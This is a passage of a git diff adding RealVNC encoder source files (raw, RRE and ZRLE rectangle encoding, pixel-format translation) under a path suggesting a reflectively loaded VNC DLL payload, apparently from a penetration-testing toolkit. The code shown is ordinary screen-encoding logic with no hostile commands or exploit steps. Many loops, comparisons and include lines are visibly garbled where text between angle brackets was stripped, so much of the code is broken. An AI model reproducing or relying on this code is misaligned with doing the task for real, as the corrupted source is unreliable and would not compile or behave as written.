m_scrinfo.framebufferWidth; + const UINT bytesPerPixel = m_scrinfo.format.bitsPerPixel/8; + const UINT bytesPerRow = bytesPerPixel * width; + for (i=rects.begin(); i!=rects.end(); i++) { + rfb::Rect rect = *i; + UINT rowstart = (bytesPerRow * rect.tl.y) + (bytesPerPixel * rect.tl.x); + UINT rowlen = (bytesPerPixel * (rect.br.x-rect.tl.x)); + BYTE *src = &m_buffer->m_backbuff[rowstart]; + BYTE *dest = &m_clientbackbuff[rowstart]; + for (UINT y=rect.tl.y; yEncodeRect(m_clientbackbuff, m_clientbuff, rect); +} + +#endif // _WINVNC_VNCENCODEMGR + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncencoder.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncencoder.cpp new file mode 100644 index 0000000000..b5904f9585 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncencoder.cpp @@ -0,0 +1,358 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncEncoder - Object used to encode data for RFB + +#include "vncEncoder.h" +#include "vncBuffer.h" + +// Pixel format used internally when the client is palette-based & server is truecolour + +static const rfbPixelFormat BGR233Format = { + 8, 8, 0, 1, 7, 7, 3, 0, 3, 6 +}; + +// The base (RAW) encoder class + +vncEncoder::vncEncoder() +{ + ZeroMemory(&m_remoteformat, sizeof(m_remoteformat)); + ZeroMemory(&m_localformat, sizeof(m_localformat)); + ZeroMemory(&m_transformat, sizeof(m_transformat)); + m_transtable = NULL; + m_localpalette = NULL; + m_bytesPerRow = 0; +} + +vncEncoder::~vncEncoder() +{ + if (m_transtable != NULL) + { + free(m_transtable); + m_transtable = NULL; + } + if (m_localpalette != NULL) + { + free(m_localpalette); + m_localpalette = NULL; + } +} + +void +vncEncoder::Init() +{ +} + +UINT +vncEncoder::RequiredBuffSize(UINT width, UINT height) +{ + return sz_rfbFramebufferUpdateRectHeader + + (width * height * m_remoteformat.bitsPerPixel)/8; +} + +UINT +vncEncoder::NumCodedRects(const rfb::Rect &rect) +{ + return 1; +} + +// Translate a rectangle +inline void +vncEncoder::Translate(BYTE *source, BYTE *dest, const rfb::Rect &rect) +{ + // Calculate where in the source rectangle to read from + BYTE *sourcepos = (BYTE *)(source + (m_bytesPerRow * rect.tl.y)+(rect.tl.x * (m_localformat.bitsPerPixel / 8))); + + // Call the translation function + (*m_transfunc) (m_transtable, + &m_localformat, + &m_transformat, + (char *)sourcepos, + (char *)dest, + m_bytesPerRow, + rect.br.x-rect.tl.x, + rect.br.y-rect.tl.y + ); +} + +// Encode a rectangle +inline UINT +vncEncoder::EncodeRect(BYTE *source, BYTE *dest, const rfb::Rect &rect) +{ + // Create the header for the update in the destination area + rfbFramebufferUpdateRectHeader *surh = (rfbFramebufferUpdateRectHeader *)dest; + surh->r.x = (CARD16) rect.tl.x; + surh->r.y = (CARD16) rect.tl.y; + surh->r.w = (CARD16) (rect.br.x-rect.tl.x); + surh->r.h = (CARD16) (rect.br.y-rect.tl.y); + surh->r.x = Swap16IfLE(surh->r.x); + surh->r.y = Swap16IfLE(surh->r.y); + surh->r.w = Swap16IfLE(surh->r.w); + surh->r.h = Swap16IfLE(surh->r.h); + surh->encoding = Swap32IfLE(rfbEncodingRaw); + + // Translate the data in place in the output buffer + Translate(source, dest + sz_rfbFramebufferUpdateRectHeader, rect); + + // Return the buffer size + return sz_rfbFramebufferUpdateRectHeader + + ((rect.br.x-rect.tl.x)*(rect.br.y-rect.tl.y)*m_remoteformat.bitsPerPixel) / 8; +} + +BOOL +vncEncoder::GetRemotePalette(RGBQUAD *quadlist, UINT ncolours) +{ + //vnclog.Print(LL_INTINFO, VNCLOG("remote palette data requested\n")); + + // If the local server is palette-based then call SetTranslateFunction + // to update the palette-to-truecolour mapping: + if (!m_localformat.trueColour) + { + if (!SetTranslateFunction()) + return FALSE; + } + + // If the client is truecolour then don't fill in the palette buffer... + if (m_remoteformat.trueColour) + return FALSE; + + // If the server is truecolour then fake BGR233 + if (m_localformat.trueColour) + { + // Fake BGR233... + //vnclog.Print(LL_INTINFO, VNCLOG("generating BGR233 palette data\n")); + + int ncolours = 1 << m_transformat.bitsPerPixel; + if (m_localpalette != NULL) + free(m_localpalette); + m_localpalette = (char *)malloc(ncolours * sizeof(RGBQUAD)); + + if (m_localpalette != NULL) + { + RGBQUAD *colour = (RGBQUAD *)m_localpalette; + + for (int i=0; i> m_transformat.blueShift) & m_transformat.blueMax) * 255) / m_transformat.blueMax; + colour[i].rgbRed = (((i >> m_transformat.redShift) & m_transformat.redMax) * 255) / m_transformat.redMax; + colour[i].rgbGreen = (((i >> m_transformat.greenShift) & m_transformat.greenMax) * 255) / m_transformat.greenMax; + } + } + } + else + { + // Set up RGBQUAD rfbPixelFormat info + //vnclog.Print(LL_INTINFO, VNCLOG("generating 8-bit palette data\n")); + + rfbPixelFormat remote; + remote.trueColour = TRUE; + remote.bitsPerPixel = 32; + remote.depth = 24; + remote.bigEndian = FALSE; + remote.redMax = remote.greenMax = remote.blueMax = 255; + remote.redShift = 16; + remote.greenShift = 8; + remote.blueShift = 0; + + // We get the ColourMapSingleTableFns procedure to handle retrieval of the + // palette for us, to avoid replicating the code! + (*rfbInitColourMapSingleTableFns[remote.bitsPerPixel / 16]) + (&m_localpalette, &m_localformat, &remote); + } + + // Did we create some palette info? + if (m_localpalette == NULL) + { + //vnclog.Print(LL_INTERR, VNCLOG("failed to obtain colour map data!\n")); + return FALSE; + } + + // Copy the data into the RGBQUAD buffer + memcpy(quadlist, m_localpalette, ncolours*sizeof(RGBQUAD)); + + return TRUE; +} + +BOOL +vncEncoder::SetTranslateFunction() +{ + //vnclog.Print(LL_INTINFO, VNCLOG("settranslatefunction called\n")); + + // By default, the actual format translated to matches the client format + m_transformat = m_remoteformat; + + // Check that bits per pixel values are valid + + if ((m_transformat.bitsPerPixel != 8) && + (m_transformat.bitsPerPixel != 16) && + (m_transformat.bitsPerPixel != 32)) + { + //vnclog.Print(LL_CONNERR, + // VNCLOG("only 8, 16 or 32 bits supported remotely - %d requested\n"), + // m_transformat.bitsPerPixel + // ); + + return FALSE; + } + + if ((m_localformat.bitsPerPixel != 8) && + (m_localformat.bitsPerPixel != 16) && + (m_localformat.bitsPerPixel != 32)) + { + //vnclog.Print(LL_CONNERR, + // VNCLOG("only 8, 16 or 32 bits supported locally - %d in use\n"), + // m_localformat.bitsPerPixel + // ); + + return FALSE; + } + + if (!m_transformat.trueColour && (m_transformat.bitsPerPixel != 8)) + { + //vnclog.Print(LL_CONNERR, VNCLOG("only 8-bit palette format supported remotely\n")); + return FALSE; + } + if (!m_localformat.trueColour && (m_localformat.bitsPerPixel != 8)) + { + //vnclog.Print(LL_CONNERR, VNCLOG("only 8-bit palette format supported locally\n")); + return FALSE; + } + + // Now choose the translation function to use + + // We don't do remote palettes unless they're 8-bit + if (!m_transformat.trueColour) + { + // Is the local format the same? + if (!m_localformat.trueColour && + (m_localformat.bitsPerPixel == m_transformat.bitsPerPixel)) + { + // Yes, so don't do any encoding + //vnclog.Print(LL_INTINFO, VNCLOG("no encoding required - both 8-bit palettized\n")); + + m_transfunc = rfbTranslateNone; + + // The first time the client sends an update, it will call + // GetRemotePalette to get the palette information required + return TRUE; + } + else if (m_localformat.trueColour) + { + // Local side is truecolour, remote is palettized + //vnclog.Print(LL_INTINFO, VNCLOG("local truecolour, remote palettized. using BGR233 palette\n")); + + // Fill out the translation table as if writing to BGR233 + m_transformat = BGR233Format; + + // Continue on down to the main translation section + } + else + { + // No, so not supported yet... + //vnclog.Print(LL_CONNERR, VNCLOG("unknown local pixel format in use!\n")); + return FALSE; + } + } + + // REMOTE FORMAT IS TRUE-COLOUR + + // Handle 8-bit palette-based local data + if (!m_localformat.trueColour) + { + // 8-bit palette to truecolour... + + // Yes, so pick the right translation function! + //vnclog.Print(LL_INTINFO, VNCLOG("using 8-bit colourmap to truecolour translation\n")); + + m_transfunc = rfbTranslateWithSingleTableFns + [m_localformat.bitsPerPixel / 16] + [m_transformat.bitsPerPixel / 16]; + + (*rfbInitColourMapSingleTableFns[m_transformat.bitsPerPixel / 16]) + (&m_transtable, &m_localformat, &m_transformat); + return m_transtable != NULL; + } + + // If we reach here then we're doing truecolour to truecolour + + // Are the formats identical? + if (PF_EQ(m_transformat,m_localformat)) + { + // Yes, so use the null translation function + //vnclog.Print(LL_INTINFO, VNCLOG("no translation required\n")); + + m_transfunc = rfbTranslateNone; + + return TRUE; + } + + // Is the local display a 16-bit one + if (m_localformat.bitsPerPixel == 16) + { + // Yes, so use a single lookup-table + //vnclog.Print(LL_INTINFO, VNCLOG("single LUT used\n")); + + m_transfunc = rfbTranslateWithSingleTableFns + [m_localformat.bitsPerPixel / 16] + [m_transformat.bitsPerPixel / 16]; + + (*rfbInitTrueColourSingleTableFns[m_transformat.bitsPerPixel / 16]) + (&m_transtable, &m_localformat, &m_transformat); + } + else + { + // No, so use three tables - one for each of R, G, B. + //vnclog.Print(LL_INTINFO, VNCLOG("triple LUT used\n")); + + m_transfunc = rfbTranslateWithRGBTablesFns + [m_localformat.bitsPerPixel / 16] + [m_transformat.bitsPerPixel / 16]; + + (*rfbInitTrueColourRGBTablesFns[m_transformat.bitsPerPixel / 16]) + (&m_transtable, &m_localformat, &m_transformat); + } + + return m_transtable != NULL; +} + +BOOL +vncEncoder::SetLocalFormat(rfbPixelFormat &pixformat, int width, int height) +{ + // Work out the bytes per row at the local end - useful + m_bytesPerRow = width * pixformat.bitsPerPixel/8; + + // Save the pixel format + m_localformat = pixformat; + return SetTranslateFunction(); +} + +BOOL +vncEncoder::SetRemoteFormat(rfbPixelFormat &pixformat) +{ + // Save the client pixel format + m_remoteformat = pixformat; + + return SetTranslateFunction(); +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncencoder.h b/external/source/reflective_vncdll/winvnc/winvnc/vncencoder.h new file mode 100644 index 0000000000..8a672948b9 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncencoder.h @@ -0,0 +1,89 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncEncoder object + +// The vncEncoder object encodes regions of a display buffer for sending +// to a client + +class vncEncoder; + +#if !defined(RFBENCODER_DEFINED) +#define RFBENCODER_DEFINED +#pragma once + +#include "vncBuffer.h" +#include "translate.h" + +// Class definition + +class vncEncoder +{ +// Fields +public: + +// Methods +public: + // Create/Destroy methods + vncEncoder(); + virtual ~vncEncoder(); + + // Initialisation + virtual void Init(); + + // Encoder stats used by the buffer object + virtual UINT RequiredBuffSize(UINT width, UINT height); + virtual UINT NumCodedRects(const rfb::Rect &rect); + + // Translation & encoding routines + // - Source is the base address of the ENTIRE SCREEN buffer. + // The Translate routine compensates automatically for the desired rectangle. + // - Dest is the base address to encode the rect to. The rect will be encoded + // into a contiguous region of the buffer. + virtual void Translate(BYTE *source, BYTE *dest, const rfb::Rect &rect); + virtual UINT EncodeRect(BYTE *source, BYTE *dest, const rfb::Rect &rect); + + // Translation handling + BOOL SetLocalFormat(rfbPixelFormat &pixformat, int width, int height); + BOOL SetRemoteFormat(rfbPixelFormat &pixformat); + + // Colour map handling + BOOL GetRemotePalette(RGBQUAD *quadlist, UINT ncolours); + +protected: + BOOL SetTranslateFunction(); + +// Implementation +protected: + rfbTranslateFnType m_transfunc; // Translator function + char* m_transtable; // Colour translation LUT + char* m_localpalette; // Palette info if client is palette-based + rfbPixelFormat m_localformat; // Pixel Format info + rfbPixelFormat m_remoteformat; // Client pixel format info + rfbPixelFormat m_transformat; // Internal format used for translation (usually == client format) + int m_bytesPerRow; // Number of bytes per row locally +}; + +#endif // vncENCODER_DEFINED diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncencoderre.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncencoderre.cpp new file mode 100644 index 0000000000..28111b484a --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncencoderre.cpp @@ -0,0 +1,333 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncEncodeRRE + +// This file implements the vncEncoder-derived vncEncodeRRE class. +// This class overrides some vncEncoder functions to produce a bitmap +// to RRE encoder. RRE is much more efficient than RAW format on +// most screen data. + +#include "vncEncodeRRE.h" + +vncEncodeRRE::vncEncodeRRE() +{ + m_buffer = NULL; + m_bufflen = 0; +} + +vncEncodeRRE::~vncEncodeRRE() +{ + if (m_buffer != NULL) + { + delete [] m_buffer; + m_buffer = NULL; + } +} + +void +vncEncodeRRE::Init() +{ + vncEncoder::Init(); +} + +UINT +vncEncodeRRE::RequiredBuffSize(UINT width, UINT height) +{ + return vncEncoder::RequiredBuffSize(width, height); +} + +UINT +vncEncodeRRE::NumCodedRects(const rfb::Rect &rect) +{ + return 1; +} + +/***************************************************************************** + * + * Routines to implement Rise-and-Run-length Encoding (RRE). This code is + * based on krw's original javatel rfbserver. + * This code courtesy of tjr + */ + +/* + * rreBeforeBuf contains pixel data in the client's format. + * rreAfterBuf contains the RRE encoded version. If the RRE encoded version is + * larger than the raw data or if it exceeds rreAfterBufSize then + * normal encoding is used instead. + */ + +static int rreAfterBufLen; + +static int subrectEncode8 (CARD8 *data, CARD8 *buf, int w, int h, int maxBytes); +static int subrectEncode16 (CARD16 *data, CARD8 *buf, int w, int h, int maxBytes); +static int subrectEncode32 (CARD32 *data, CARD8 *buf, int w, int h, int maxBytes); +static CARD32 getBgColour (char *data, int size, int bpp); + +/* + * subrectEncode() encodes the given multicoloured rectangle as a background + * colour overwritten by single-coloured rectangles. It returns the number + * of subrectangles in the encoded buffer, or -1 if subrect encoding won't + * fit in the buffer. It puts the encoded rectangles in rreAfterBuf. The + * single-colour rectangle partition is not optimal, but does find the biggest + * horizontal or vertical rectangle top-left anchored to each consecutive + * coordinate position. + * + * The coding scheme is simply [...] where each + * is []. + * + * This code has been modified from tjr's original by Wez(jnw) + */ + +#define DEFINE_SUBRECT_ENCODE(bpp) \ +static int \ +subrectEncode##bpp( \ + CARD##bpp *data, \ + CARD8 *buf, \ + int w, \ + int h, \ + int maxBytes \ + ) \ +{ \ + CARD##bpp cl; \ + rfbRectangle subrect; \ + int x,y; \ + int i,j; \ + int hx,hy,vx,vy; \ + int hyflag; \ + CARD##bpp *seg; \ + CARD##bpp *line; \ + int hw,hh,vw,vh; \ + int thex,they,thew,theh; \ + int numsubs = 0; \ + int newLen; \ + CARD##bpp bg = (CARD##bpp)getBgColour((char*)data,w*h,bpp); \ + \ + /* Set the background colour value */ \ + *((CARD##bpp *)buf) = bg; \ + \ + rreAfterBufLen = (bpp/8); \ + \ + for (y=0; y 0) && (i >= hx)) {hy += 1;} else {hyflag = 0;} \ + } \ + vy = j-1; \ + \ + /* We now have two possible subrects: (x,y,hx,hy) and (x,y,vx,vy) \ + * We'll choose the bigger of the two. \ + */ \ + hw = hx-x+1; \ + hh = hy-y+1; \ + vw = vx-x+1; \ + vh = vy-y+1; \ + \ + thex = x; \ + they = y; \ + \ + if ((hw*hh) > (vw*vh)) { \ + thew = hw; \ + theh = hh; \ + } else { \ + thew = vw; \ + theh = vh; \ + } \ + \ + subrect.x = Swap16IfLE(thex); \ + subrect.y = Swap16IfLE(they); \ + subrect.w = Swap16IfLE(thew); \ + subrect.h = Swap16IfLE(theh); \ + \ + newLen = rreAfterBufLen + (bpp/8) + sz_rfbRectangle; \ + if ((newLen > (w * h * (bpp/8))) || (newLen > maxBytes)) \ + return -1; \ + \ + numsubs += 1; \ + *((CARD##bpp *)(buf + rreAfterBufLen)) = cl; \ + rreAfterBufLen += (bpp/8); \ + memcpy(&buf[rreAfterBufLen],&subrect, sz_rfbRectangle); \ + rreAfterBufLen += sz_rfbRectangle; \ + \ + /* \ + * Now mark the subrect as done. \ + */ \ + for (j=they; j < (they+theh); j++) { \ + for (i=thex; i < (thex+thew); i++) { \ + data[j*w+i] = bg; \ + } \ + } \ + } \ + } \ + } \ + \ + return numsubs; \ +} + +DEFINE_SUBRECT_ENCODE(8) +DEFINE_SUBRECT_ENCODE(16) +DEFINE_SUBRECT_ENCODE(32) + +/* + * getBgColour() gets the most prevalent colour in a byte array. + */ +static CARD32 +getBgColour(char *data, int size, int bpp) +{ + +#define NUMCLRS 256 + + static int counts[NUMCLRS]; + int i,j,k; + + int maxcount = 0; + CARD8 maxclr = 0; + + if (bpp != 8) { + if (bpp == 16) { + return ((CARD16 *)data)[0]; + } else if (bpp == 32) { + return ((CARD32 *)data)[0]; + } else { + fprintf(stderr,"getBgColour: bpp %d?\n",bpp); + exit(1); + } + } + + for (i=0; i= NUMCLRS) { + fprintf(stderr, "%s: unusual colour = %d\n", "getBgColour",k); + exit(1); + } + counts[k] += 1; + if (counts[k] > maxcount) { + maxcount = counts[k]; + maxclr = ((CARD8 *)data)[j]; + } + } + + return maxclr; +} + +// Encode the rectangle using RRE +inline UINT +vncEncodeRRE::EncodeRect(BYTE *source, BYTE *dest, const rfb::Rect &rect) +{ + int subrects = -1; + + const UINT rectW = rect.br.x - rect.tl.x; + const UINT rectH = rect.br.y - rect.tl.y; + + // Create the rectangle header + rfbFramebufferUpdateRectHeader *surh=(rfbFramebufferUpdateRectHeader *)dest; + surh->r.x = (CARD16) rect.tl.x; + surh->r.y = (CARD16) rect.tl.y; + surh->r.w = (CARD16) (rectW); + surh->r.h = (CARD16) (rectH); + surh->r.x = Swap16IfLE(surh->r.x); + surh->r.y = Swap16IfLE(surh->r.y); + surh->r.w = Swap16IfLE(surh->r.w); + surh->r.h = Swap16IfLE(surh->r.h); + surh->encoding = Swap32IfLE(rfbEncodingRRE); + + // create a space big enough for the RRE encoded pixels + if (m_bufflen < (rectW*rectH*m_remoteformat.bitsPerPixel / 8)) + { + if (m_buffer != NULL) + { + delete [] m_buffer; + m_buffer = NULL; + } + m_buffer = new BYTE [rectW*rectH*m_remoteformat.bitsPerPixel/8+1]; + if (m_buffer == NULL) + return vncEncoder::EncodeRect(source, dest, rect); + m_bufflen = rectW*rectH*m_remoteformat.bitsPerPixel/8; + } + + // Translate the data into our new buffer + Translate(source, m_buffer, rect); + + // Choose the appropriate encoding routine (for speed...) + switch(m_remoteformat.bitsPerPixel) + { + case 8: + subrects = subrectEncode8( + m_buffer, + dest+sz_rfbFramebufferUpdateRectHeader+sz_rfbRREHeader, + rectW, + rectH, + m_bufflen-sz_rfbFramebufferUpdateRectHeader-sz_rfbRREHeader + ); + break; + case 16: + subrects = subrectEncode16( + (CARD16 *)m_buffer, + (CARD8 *)(dest+sz_rfbFramebufferUpdateRectHeader+sz_rfbRREHeader), + rectW, + rectH, + m_bufflen-sz_rfbFramebufferUpdateRectHeader-sz_rfbRREHeader + ); + break; + case 32: + subrects = subrectEncode32( + (CARD32 *)m_buffer, + (CARD8 *)(dest+sz_rfbFramebufferUpdateRectHeader+sz_rfbRREHeader), + rectW, + rectH, + m_bufflen-sz_rfbFramebufferUpdateRectHeader-sz_rfbRREHeader + ); + break; + } + + // If we couldn't encode the rectangles then just send the data raw + if (subrects < 0) + return vncEncoder::EncodeRect(source, dest, rect); + + // Send the RREHeader + rfbRREHeader *rreh=(rfbRREHeader *)(dest+sz_rfbFramebufferUpdateRectHeader); + rreh->nSubrects = Swap32IfLE(subrects); + + // Return the amount of data sent + return sz_rfbFramebufferUpdateRectHeader + sz_rfbRREHeader + + (m_remoteformat.bitsPerPixel / 8) + + (subrects * (sz_rfbRectangle + m_remoteformat.bitsPerPixel / 8)); +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncencoderre.h b/external/source/reflective_vncdll/winvnc/winvnc/vncencoderre.h new file mode 100644 index 0000000000..38d63661f6 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncencoderre.h @@ -0,0 +1,66 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncEncodeRRE object + +// The vncEncodeRRE object uses a compression encoding to send rectangles +// to a client + +class vncEncodeRRE; + +#if !defined(_WINVNC_ENCODERRRE) +#define _WINVNC_ENCODERRE +#pragma once + +#include "vncEncoder.h" + +// Class definition + +class vncEncodeRRE : public vncEncoder +{ +// Fields +public: + +// Methods +public: + // Create/Destroy methods + vncEncodeRRE(); + ~vncEncodeRRE(); + + virtual void Init(); + + virtual UINT RequiredBuffSize(UINT width, UINT height); + virtual UINT NumCodedRects(const rfb::Rect &rect); + + virtual UINT EncodeRect(BYTE *source, BYTE *dest, const rfb::Rect &rect); + +// Implementation +protected: + BYTE *m_buffer; + int m_bufflen; +}; + +#endif // _WINVNC_ENCODERRE + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncencodezrle.cxx b/external/source/reflective_vncdll/winvnc/winvnc/vncencodezrle.cxx new file mode 100644 index 0000000000..aa939af586 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncencodezrle.cxx @@ -0,0 +1,152 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +#include "vncEncodeZRLE.h" +#include "rfb.h" +#include "rfbMisc.h" +#include +#include +#include +#include +#include + +#define GET_IMAGE_INTO_BUF(tx,ty,tw,th,buf) \ + rfb::Rect rect; \ + rect.tl.x = tx; \ + rect.tl.y = ty; \ + rect.br.x = tx+tw; \ + rect.br.y = ty+th; \ + encoder->Translate(source, (BYTE*)buf, rect); + +#define EXTRA_ARGS , BYTE* source, vncEncoder* encoder + +#define BPP 8 +#include +#undef BPP +#define BPP 16 +#include +#undef BPP +#define BPP 32 +#include +#define CPIXEL 24A +#include +#undef CPIXEL +#define CPIXEL 24B +#include +#undef CPIXEL +#undef BPP + +vncEncodeZRLE::vncEncodeZRLE() +{ + mos = new rdr::MemOutStream; + zos = new rdr::ZlibOutStream; + beforeBuf = new rdr::U32[rfbZRLETileWidth * rfbZRLETileHeight + 1]; +} + +vncEncodeZRLE::~vncEncodeZRLE() +{ + delete mos; + delete zos; + delete [] beforeBuf; +} + +void vncEncodeZRLE::Init() +{ + vncEncoder::Init(); +} + +UINT vncEncodeZRLE::RequiredBuffSize(UINT width, UINT height) +{ + // this is a guess - 12 bytes plus 1.5 times raw... (zlib.h says compress + // needs 12 bytes plus 1.001 times raw data but that's not quite what we give + // zlib anyway) + return (sz_rfbFramebufferUpdateRectHeader + sz_rfbZRLEHeader + 12 + + width * height * (m_remoteformat.bitsPerPixel / 8) * 3 / 2); +} + +UINT vncEncodeZRLE::EncodeRect(BYTE *source, BYTE *dest, const rfb::Rect &rect) +{ + int x = rect.tl.x; + int y = rect.tl.y; + int w = rect.br.x - x; + int h = rect.br.y - y; + + try { + mos->clear(); + + switch (m_remoteformat.bitsPerPixel) { + + case 8: + zrleEncode8( x, y, w, h, mos, zos, beforeBuf, source, this); + break; + + case 16: + zrleEncode16(x, y, w, h, mos, zos, beforeBuf, source, this); + break; + + case 32: + bool fitsInLS3Bytes + = ((m_remoteformat.redMax << m_remoteformat.redShift) < (1<<24) && + (m_remoteformat.greenMax << m_remoteformat.greenShift) < (1<<24) && + (m_remoteformat.blueMax << m_remoteformat.blueShift) < (1<<24)); + + bool fitsInMS3Bytes = (m_remoteformat.redShift > 7 && + m_remoteformat.greenShift > 7 && + m_remoteformat.blueShift > 7); + + if ((fitsInLS3Bytes && !m_remoteformat.bigEndian) || + (fitsInMS3Bytes && m_remoteformat.bigEndian)) + { + zrleEncode24A(x, y, w, h, mos, zos, beforeBuf, source, this); + } + else if ((fitsInLS3Bytes && m_remoteformat.bigEndian) || + (fitsInMS3Bytes && !m_remoteformat.bigEndian)) + { + zrleEncode24B(x, y, w, h, mos, zos, beforeBuf, source, this); + } + else + { + zrleEncode32(x, y, w, h, mos, zos, beforeBuf, source, this); + } + break; + } + + rfbFramebufferUpdateRectHeader* surh = (rfbFramebufferUpdateRectHeader*)dest; + surh->r.x = Swap16IfLE(x); + surh->r.y = Swap16IfLE(y); + surh->r.w = Swap16IfLE(w); + surh->r.h = Swap16IfLE(h); + surh->encoding = Swap32IfLE(rfbEncodingZRLE); + + rfbZRLEHeader* hdr = (rfbZRLEHeader*)(dest + + sz_rfbFramebufferUpdateRectHeader); + + hdr->length = Swap32IfLE(mos->length()); + + memcpy(dest + sz_rfbFramebufferUpdateRectHeader + sz_rfbZRLEHeader, + (rdr::U8*)mos->data(), mos->length()); + + return sz_rfbFramebufferUpdateRectHeader + sz_rfbZRLEHeader + mos->length(); + } catch (rdr::Exception& e) { + //vnclog.Print(LL_INTERR, VNCLOG("ZRLE EncodeRect error:%s\n"), e.str()); + return 0; + } +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncencodezrle.h b/external/source/reflective_vncdll/winvnc/winvnc/vncencodezrle.h new file mode 100644 index 0000000000..bdb4488ad5 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncencodezrle.h @@ -0,0 +1,47 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +#ifndef _WINVNC_ENCODEZRLE +#define _WINVNC_ENCODEZRLE + +#include "vncEncoder.h" + +namespace rdr { class ZlibOutStream; class MemOutStream; } + +class vncEncodeZRLE : public vncEncoder +{ +public: + vncEncodeZRLE(); + ~vncEncodeZRLE(); + + virtual void Init(); + + virtual UINT RequiredBuffSize(UINT width, UINT height); + + virtual UINT EncodeRect(BYTE *source, BYTE *dest, const rfb::Rect &rect); + +private: + rdr::ZlibOutStream* zos; + rdr::MemOutStream* mos; + void* 